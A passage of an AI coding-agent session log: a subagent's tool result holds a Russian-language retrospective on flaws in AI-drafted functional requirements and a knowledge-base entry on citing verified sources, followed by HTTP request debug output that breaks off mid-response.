PR-\u0441\u0435\u0441\u0441\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0446\u0435\u0440\u0435\u043c\u043e\u043d\u0438\u0430\u043b\u044c\u043d\u043e\u043c approval \u043f\u0440\u0438 \u044f\u0432\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c. | \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 | \u041d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430, PR \u043f\u0443\u0441\u0442. | \u0414\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e solver-run \u0441\u0447\u0438\u0442\u0430\u0442\u044c issue \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; human gate \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u043d\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 draft, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 draft. |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435: **\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 3**, **\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 2**,\\n**\u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 2**, **\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u2014 1**.\\n\\n## \u041f\u0435\u0440\u0432\u043e\u043f\u0440\u0438\u0447\u0438\u043d\u0430\\n\\n\u0421\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u043e\u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e gate, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0424\u0422\\n\u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e \u0434\u0435\u043b\u044c\u0442\u0443. \u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043b\u044c:\\n\\n1. \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u043b\u0430 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0424\u0422 \u0442\u0435\u043a\u0443\u0449\u0438\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438;\\n2. \u0437\u0430\u043c\u0435\u043d\u044f\u043b\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438;\\n3. \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u0430\u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f baseline;\\n4. \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u043e \u043b\u043e\u0433\u0443, \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430\u043c \u0438 \u0411\u0417.\\n\\n\u042d\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 CBAP-\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u0438, \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438:\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c, \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u0432\u043e\u0437\u043d\u0443\u044e\\n\u0446\u0435\u043f\u043e\u0447\u043a\u0443. \u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f eTOM \u0441\u043c\u0435\u0448\u0430\u043b\u0438\u0441\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430/\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0447\u0435\u0442\u043d\u043e\u0439\\n\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 (**Fulfillment**) \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438/\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\\n(**Assurance**) \u0431\u0435\u0437 \u044f\u0432\u043d\u044b\u0445 \u0433\u0440\u0430\u043d\u0438\u0446.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438\\n\\n1. \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044e \u0424\u0422 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0442\u0440\u0438\u0446\u0443 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2192\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 FR \u2192 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438` \u0438 fail-closed \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u0439 source.\\n2. \u041f\u0435\u0440\u0435\u0434 FR \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c screenshot/KB gate: \u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c \u043d\u043e\u0432\u043e\u0439\\n   \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u043a\u043e\u043b\u043e\u043d\u043a\u0438.\\n3. \u041a\u0430\u0436\u0434\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c decision log: \u043f\u0440\u0438\u043d\u044f\u0442\u043e, \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e,\\n   \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0438\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441. \u041d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439\\n   \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438.\\n4. \u0412\u043d\u0435\u0441\u0442\u0438 \u0432 \u0431\u0443\u0434\u0443\u0449\u0443\u044e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u044f\u0432\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438,\\n   \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0444\u0430\u0439\u043b\u0430 \u0438 \u0441\u0445\u0435\u043c\u044b \u0431\u0438\u043b\u043b\u0438\u043d\u0433\u0430 \u0431\u0435\u0437 SSOT.\\n5. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0424\u0422 \u0434\u0432\u0443\u043c\u044f \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0430\u043c\u0438: CBAP traceability/atomicity \u0438 eTOM\\n   Fulfillment/Assurance coverage.\\n\\n## \u0412\u044b\u0431\u043e\u0440 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 UI-\u043b\u043e\u0433\u0438\u043a\u0438\\n\\n\u0414\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0432\u044b\u0431\u0440\u0430\u043d \u0444\u043e\u0440\u043c\u0430\u0442 **\u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0430\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439 \u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439**\\n\u0441 \u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u043e\u0439 ASCII-\u0441\u0445\u0435\u043c\u043e\u0439 \u0432 \u0424\u0422. \u041e\u043d version-control friendly, \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435, \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u0440\u0435\u043d\u0434\u0435\u0440\u0435\u0440\u0430.\\n\u0413\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0430\u043a\u0435\u0442 \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043d: \u0434\u0432\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430 \u0443\u0436\u0435 \u0437\u0430\u0434\u0430\u044e\u0442 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439\\n\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0430 issue \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043d\u0435 pixel-perfect \u0434\u0438\u0437\u0430\u0439\u043d.\\n\\n---\\nid: kb-source-backed-analysis\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-06-16\\nai-generated: true\\ntype: kb-practice\\nscope: kb\\nsources:\\n  - \\\"https://www.iiba.org/career-resources/a-business-analysis-professionals-foundation-for-success/babok/\\\"\\n  - \\\"https://www.iso.org/standard/72089.html\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/97\\\"\\n---\\n\\n# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u0430\u043d\u0430\u043b\u0438\u0437 \u0441 \u043e\u043f\u043e\u0440\u043e\u0439 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 (source-backed analysis)\\n\\n> \u0417\u0430\u043f\u0438\u0441\u044c KB. \u0420\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f [kb-standard.md](../../standards/kb-standard.md).\\n> \u042d\u0442\u043e **\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430**, \u043d\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442: \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u043d\u043e \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2014\\n> \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c C1-C4.\\n\\n## \u041f\u0440\u0430\u0432\u0438\u043b\u043e\\n\\n\\n\u041a\u0430\u0436\u0434\u043e\u0435 **\u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435** \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 (\u0447\u0442\u043e-\u0442\u043e \u00ab\u0434\u043e\u043b\u0436\u043d\u043e/\u043e\u0431\u044f\u0437\u0430\u043d\u043e/\u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u2026\u00bb)\\n\u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u0438 **\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f** \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u043e\\n\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0433\u043e. \u0415\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\\n\u0444\u0430\u043a\u0442, \u0430 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f `needs-clarification`.\\n\\n## \u0427\u0435\u043a-\u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\\n\\n1. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 (\u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e URL/\u0448\u0438\u0444\u0440\u0443)?\\n2. \u0423\u043a\u0430\u0437\u0430\u043d\u043d\u0430\u044f \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f/\u0433\u043e\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0432\u0438\u0434\u0435?\\n3. \u041f\u043e\u043b\u043d\u044b\u0439 URL \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d (\u041d\u0424\u0422 \u0434\u043e\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438)?\\n4. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (\u0430 \u043d\u0435 \u00ab\u0437\u0432\u0443\u0447\u0438\u0442 \u043f\u043e\u0445\u043e\u0436\u0435\u00bb)?\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 (\u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435)\\n\\n- BABOK Guide v3 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c:\\n  \\n- ISO/IEC/IEEE 29148:2018 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u00abverifiable\u00bb \u0438 \u00abtraceable\u00bb \u0432 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a\u0438\\n  \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439: \\n\\n## \u0410\u043d\u0442\u0438-\u043f\u0440\u0438\u043c\u0435\u0440 (\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439)\\n\\n\u0428\u0438\u0444\u0440 **\u00ab\u0413\u041e\u0421\u0422 34.602-2015\u00bb \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442** \u2014 \u0435\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u0438 -89 \u0438 -2020. \u0426\u0438\u0442\u0430\u0442\u0430 \u043d\u0430\\n\u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0448\u0430\u0433 2 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u0430 \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c \u00ab\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e\u00bb \u0438\\n**\u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442\u0441\u044f**. \u0414\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f:\\n[\u0413\u041e\u0421\u0422 34.602-2020](https://docs.cntd.ru/document/1200181804).\\n\\n## \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n\\n- BABOK Guide v3: \\n- ISO/IEC/IEEE 29148:2018: \\n- \u0413\u041e\u0421\u0422 34.602-2020: \",\n[2026-09-29T07:46:20.022Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:20.022Z] [INFO]       }\n[2026-09-29T07:46:20.022Z] [INFO]     ]\n[2026-09-29T07:46:20.022Z] [INFO]   },\n[2026-09-29T07:46:20.022Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"uuid\": \"cc5c9339-e24d-41e8-91f3-3e43b4c69a9f\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:18.864Z\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:20.022Z] [INFO] }\n[2026-09-29T07:46:20.031Z] [STDOUT] [log_f389f8] sending request {\n[2026-09-29T07:46:20.035Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:20.037Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.040Z] [STDOUT]   options: {\n[2026-09-29T07:46:20.043Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:20.051Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:20.057Z] [STDOUT]     body: {\n[2026-09-29T07:46:20.060Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:20.063Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:20.066Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:20.068Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:20.070Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:20.071Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:20.075Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:20.079Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:20.084Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:20.087Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:20.095Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:20.101Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:20.109Z] [STDOUT]     },\n[2026-09-29T07:46:20.111Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:20.115Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:20.117Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:20.120Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:20.127Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:20.131Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:20.150Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:20.163Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:20.166Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:20.205Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:20.210Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:20.216Z] [STDOUT]     },\n[2026-09-29T07:46:20.224Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:20.227Z] [STDOUT]   },\n[2026-09-29T07:46:20.232Z] [STDOUT]   headers: {\n[2026-09-29T07:46:20.236Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:20.239Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:20.242Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:20.247Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:20.254Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:20.260Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:20.263Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:20.266Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:20.273Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:20.279Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:20.282Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:20.286Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1400\",\n[2026-09-29T07:46:20.292Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:20.298Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:20.307Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:20.318Z] [STDOUT]     \"x-client-request-id\": \"5aa6c6ce-5008-449d-a922-3e73fb19607c\",\n[2026-09-29T07:46:20.327Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:20.332Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:20.335Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:20.338Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:20.340Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:20.344Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:20.348Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:20.351Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:20.354Z] [STDOUT]   },\n[2026-09-29T07:46:20.359Z] [STDOUT] }\n[2026-09-29T07:46:20.363Z] [STDOUT] [log_2d43f8, request-id: \"req_011CfXMphwVUYQVZ2K7oC1NB\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 917ms\n[2026-09-29T07:46:20.366Z] [STDOUT] [log_2d43f8] response start {\n[2026-09-29T07:46:20.372Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.378Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:20.382Z] [STDOUT]   headers: {\n[2026-09-29T07:46:20.385Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:20.390Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:20.393Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.396Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:20.403Z] [STDOUT]     